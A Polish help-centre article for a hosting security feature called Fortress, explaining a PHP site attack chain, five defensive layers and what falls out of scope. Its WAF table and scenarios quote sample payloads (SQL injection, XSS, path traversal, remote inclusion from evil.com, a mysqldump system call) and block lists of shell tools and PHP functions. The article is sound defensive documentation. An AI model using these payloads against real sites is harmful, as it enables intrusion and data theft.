Centrum pomocy › Model zagrożeń i zakres Fortress

Model zagrożeń i zakres Fortress

Jakie ataki blokuje Fortress, 5-warstwowa obrona w głąb oraz co pozostaje poza zakresem.

Model zagrożeń i zakres ochrony Fortress

Jak ataki sieciowe docierają do Twojej witryny, co Fortress blokuje na każdej warstwie i czym wciąż musisz zarządzać poza Fortress.

Fortress to system obrony w głąb (defense in depth): pięć niezależnych warstw, z których każda wyłapuje to, co przepuściła poprzednia. Pojedynczy przełącznik Fortress aktywuje wszystkie pięć warstw dla wybranego kontenera.

Jak atakujący docierają do witryny PHP

Ataki w świecie rzeczywistym rzadko wykorzystują pojedynczą lukę. Łańcuch zazwyczaj wygląda następująco:

  1. Rozpoznanie — bot skanuje Twoją witrynę w poszukiwaniu znanych wtyczek, odsłoniętych plików .env, stron logowania, popularnych adresów URL.
  2. Punkt wejścia — wykorzystuje jedno z: podatną wtyczkę/motyw, słabe hasło administratora, formularz przesyłania plików, niezałatany rdzeń CMS, odsłonięte API.
  3. Przyczółek — przesyła webshell lub plik PHP z tylną furtką (backdoor) wewnątrz wp-content/uploads/, images/ lub gdziekolwiek z prawem zapisu.
  4. Eskalacja uprawnień — uruchamia polecenia jako www-data, aby odczytać bazę danych, wykraść dane uwierzytelniające, zainstalować rootkit.
  5. Utrwalenie — modyfikuje kod CMS, aby zasiać długoterminową tylną furtkę, która przetrwa aktualizacje wtyczek.
  6. Eksfiltracja — wysyła skradzione dane (zrzut bazy danych, informacje o klientach, kod źródłowy) na zdalny serwer.
  7. Monetyzacja — sprzedaje dane, sieje spam, przekierowuje ruch, kopie kryptowaluty, żąda okupu za witrynę.

Fortress przerywa ten łańcuch na każdym etapie.

5 warstw Fortress

Warstwa 1 — WAF (filtr HTTP nginx)

Filtruje złośliwe żądania HTTP zanim dotrą do PHP. Każdą regułę można włączać indywidualnie w Fortress → WAF:

Reguła Zablokowany atak Przykład
sqli Wstrzyknięcie SQL ?id=1 UNION SELECT password FROM users
xss Cross-site scripting <script>document.cookie</script> w parametrze URL
lfi Local File Inclusion ?page=../../etc/passwd
rfi Remote File Inclusion ?include=https://evil.com/shell.php
upload_php Przesłanie webshella Plik .php wepchnięty do /wp-content/uploads/
sensitive_files Bezpośredni dostęp do sekretów /.env, /wp-config.php.bak, /.git/config
xmlrpc Wzmacniacz ataków brute-force WordPress /xmlrpc.php pozwala w 1 żądaniu wypróbować 1000 haseł
scanners Identyfikacja botów rozpoznawczych User-Agenty sqlmap, nikto, nmap, masscan → 403
rate_limit Brute-force logowania /wp-login.php ograniczone do 5 żądań/min na adres IP
upload_scan Sygnatury webshelli YARA + entropia na każdym przesłanym pliku → kwarantanna

Warstwa 2 — Utwardzanie PHP (disable_functions + open_basedir)

Jeśli atakującemu uda się wykonać kod PHP (poprzez podatną wtyczkę lub RCE), niebezpieczne funkcje zostają zneutralizowane. Konfigurowalne w Fortress → PHP → Zablokowane funkcje:

  • Wykonywanie kodu — exec, shell_exec, system, passthru, proc_open, popen, pcntl_exec
  • Klasyczne webshelle — eval, assert (tryb Strict)
  • Eksfiltracja sieciowa — fsockopen, stream_socket_client, socket_*
  • Introspekcja systemu — phpinfo, posix_uname, dl(), putenv
  • open_basedir — PHP ograniczone do docroot + jawnie wskazanych ścieżek (nie może odczytać /etc/, /home/other-clients/, logów systemowych)

Lista jest świadoma CMS: WordPress, Joomla, PrestaShop, Drupal oraz Laravel — każdy z nich ma swoje wymagane funkcje automatycznie dozwolone, dzięki czemu witryna nadal działa.

Warstwa 3 — Utwardzanie binariów (chmod 700)

Jeśli atakujący obejdzie disable_functions (rzadki błąd PHP, rozszerzenie FFI), nadal nie może uruchomić zewnętrznych binariów. Stosowane automatycznie po włączeniu Fortress:

  • Zrzut bazy danych — mysqldump, pg_dump, pg_dumpall, mysql, psql
  • Alternatywne interpretery — php (CLI), python3, perl, ruby, node
  • Bezpośredni transfer sieciowy — ssh, scp, sftp, ftp
  • Tryb Strict dodaje — curl, wget, nc, socat, tar, gzip, base64

Te binaria mają chmod 700 oraz chown root:root — są niewidoczne dla www-data nawet przy dostępie do powłoki.

Warstwa 4 — Zapora wyjściowa (egress, wychodzące iptables)

Ogranicza to, z czym kontener może się połączyć w internecie:

  • Standard — zezwala na znane CDN-y, DNS, NTP, SMTP. Blokuje surowy ruch wychodzący do losowych adresów IP.
  • Strict — wyłącznie jawna lista dozwolonych adresów IP. Atakujący nie może wyeksfiltrować skradzionych danych do evil.com nawet za pomocą curl.

Warstwa 5 — Shield (system plików tylko do odczytu)

Docroot jest montowany tylko do odczytu na poziomie jądra. Z prawem zapisu pozostają jedynie określone foldery (wp-content/uploads, katalogi cache, sesje). Nawet przy pełnym RCE atakujący:

  • Nie może modyfikować plików rdzenia CMS
  • Nie może zasiać trwałej tylnej furtki w plikach wtyczek/motywów
  • Nie może edytować wp-config.php, aby wykraść przyszłe dane uwierzytelniające
  • Może zapisywać tylko do folderów przesyłania, gdzie nginx jest skonfigurowany tak, aby nie wykonywać PHP

Konkretne scenariusze ataków

Scenariusz A: Podatna wtyczka WordPress (LFI)

  1. Atakujący: GET /wp-content/plugins/buggy/file.php?page=../../etc/passwd
  2. WAF blokuje wzorzec ../ → 403
  3. Jeśli WAF zostanie obejdziony (zakodowane w URL %2e%2e/): open_basedir uniemożliwia PHP odczyt /etc/

Scenariusz B: Przesłanie webshella przez formularz kontaktowy

  1. Atakujący przesyła evil.php zamaskowany jako evil.jpg
  2. WAF upload_php wykrywa rozszerzenie PHP w /wp-content/uploads/ → 403
  3. Jeśli plik się prześlizgnie: Skaner przesyłania uruchamia YARA + entropię → plik trafia na kwarantannę
  4. Jeśli kwarantanna go przeoczy: Shield utrzymuje wp-content/uploads z prawem zapisu, ale nginx odmawia wykonania PHP z tego miejsca

Scenariusz C: Wstrzyknięcie SQL próbujące zrzucić bazę danych

  1. Atakujący: ?id=1 UNION SELECT user_pass FROM wp_users
  2. WAF sqli blokuje → 403
  3. Jeśli zostanie obejdziony: podatny kod PHP zwraca tylko wyniki zapytania — ograniczony wyciek, brak pełnego zrzutu
  4. Atakujący próbuje system("mysqldump -uroot --all-databases"): disable_functions to powstrzymuje
  5. Atakujący obchodzi przez FFI: mysqldump chmod 700 → Permission denied

Scenariusz D: Trwała tylna furtka po RCE

  1. Atakujący ma jednorazowe RCE i chce zapisać backdoor.php na potrzeby późniejszego dostępu
  2. Shield tylko do odczytu → fwrite() zawodzi na każdej ścieżce CMS
  3. Jedyną lokalizacją z prawem zapisu jest wp-content/uploads, gdzie nginx zwraca 404 dla każdego .php

Scenariusz E: Brute-force administratora

  1. Atakujący: 10 000 prób logowania na /wp-login.php
  2. WAF rate_limit → 5 żądań/min na adres IP, zwraca 429 dla pozostałych 9 995
  3. Imunify360 (jeśli zainstalowany) banuje adres IP po wielokrotnych 429
  4. Prawidłowe dane uwierzytelniające pozostają ryzykiem → 2FA na poziomie WordPress jest obowiązkowe (poza zakresem Fortress)

Czego Fortress NIE obejmuje

Niektóre wektory ataku znajdują się poza jakąkolwiek warstwą utwardzania sieci — wymagają dedykowanych narzędzi lub dyscypliny człowieka:

Zagrożenie Dlaczego Fortress nie pomoże Co zastosować zamiast tego
Słabe hasła administratora (admin/admin) Dla wszystkich warstw wygląda jak prawidłowy ruch 2FA (Wordfence, Akeeba), polityka silnych haseł
Niezałatane luki wtyczek Fortress łagodzi skutki, ale nie łata błędu Automatyczna aktualizacja WP Toolkit, Imunify360
Skradzione dane uwierzytelniające (phishing) Fortress widzi prawidłowe logowanie 2FA, lista dozwolonych IP na /wp-admin/
Kradzież tokena sesji Łagodzone przez session.cookie_httponly + cookie_secure (Zabezpieczenia), ale nie wyeliminowane Wyłącznie HTTPS, krótki czas życia sesji
Wolumetryczny DDoS (Gbps nasycające sieć) Sam serwer nie może walczyć z nasyconym łączem Cloudflare, OVH Anti-DDoS, AWS Shield
Ucieczka 0-day z jądra / Docker Poza zakresem jakiegokolwiek rozwiązania PHP Dyscyplina łatania systemu operacyjnego, aktualizacje jądra
CVE MariaDB / PostgreSQL Luki silnika bazy danych Automatyczne aktualizacje przez apt, monitorowanie kanałów CVE
Inżynieria społeczna (administrator klika link phishingowy) Poza zakresem technicznym Szkolenia, świadomość, menedżer haseł
Atak na łańcuch dostaw (skompromitowana aktualizacja wtyczki) Złośliwa aktualizacja jest podpisana przez prawowitego autora Przypinaj wersje, przeglądaj changelogi, śledź listy mailingowe dotyczące bezpieczeństwa

Zalecane warstwy dla każdego CMS

Kreator Fortress wstępnie wybiera rozsądne ustawienia domyślne dla każdego CMS, ale oto uzasadnienie:

  • WordPress — Fortress + Wordfence (2FA + Login Security) + automatyczna aktualizacja WP Toolkit + Imunify360 jeśli hosting współdzielony
  • Joomla — Fortress + Akeeba Admin Tools (odpowiednik Wordfence) + 2FA na /administrator/
  • PrestaShop — Fortress + lista dozwolonych IP na /adminXXX/ + wyłączony tryb Strict (back-office potrzebuje proc_open do faktur PDF)
  • Drupal — Fortress Strict + moduł Security Kit + aktualizacje wyłącznie przez Composer (nigdy nie edytuj rdzenia)
  • Laravel — Fortress Strict + APP_DEBUG=false w produkcji + Telescope do wykrywania anomalii + nigdy nie udostępniaj php artisan przez HTTP

Jak zweryfikować swoją ochronę

Symulator Fortress (Fortress → Symulator → Uruchom skanowanie) przeprowadza ~17 realistycznych ataków przeciwko wszystkim 5 warstwom i raportuje, które z nich są blokowane. Uruchom go:

  • Po pierwszym włączeniu Fortress
  • Po aktualizacji CMS lub głównych wtyczek
  • Po zmianie poziomu bezpieczeństwa (Standard ↔ Strict)
  • Comiesięcznie jako rutynowa kontrola

Zielony komunikat „X/X testów zaliczonych — obrona w głąb OK" oznacza, że wszystkie warstwy działają. Każdy czerwony wynik wskazuje konkretną warstwę wymagającą dostrojenia.

Podsumowanie zakresu ochrony

Fortress obejmuje mniej więcej 80% rzeczywistych ataków na aplikacje — całą listę OWASP Top 10 (Injection, Broken Auth pośrednio przez rate-limit, Sensitive Data Exposure przez nagłówki, XXE, Broken Access Control przez WAF, Security Misconfiguration przez utwardzanie, XSS, Insecure Deserialization, łagodzenie znanych luk, Insufficient Logging przez nagłówki).

Pozostałe 20% — kradzież danych uwierzytelniających, 0-daye, inżynieria społeczna, wolumetryczny DDoS — musi być obsłużone przez komplementarne narzędzia: 2FA, automatyczne łatanie, ochronę przed DDoS po stronie operatora oraz świadomość człowieka.

Fortress jest konieczny, ale niewystarczający. Połącz go z powyższymi zaleceniami, aby osiągnąć bezpieczeństwo klasy produkcyjnej.

Didn't find your answer? Open a ticket from the Orbiter extension or contact us directly.

Skontaktuj się z pomocą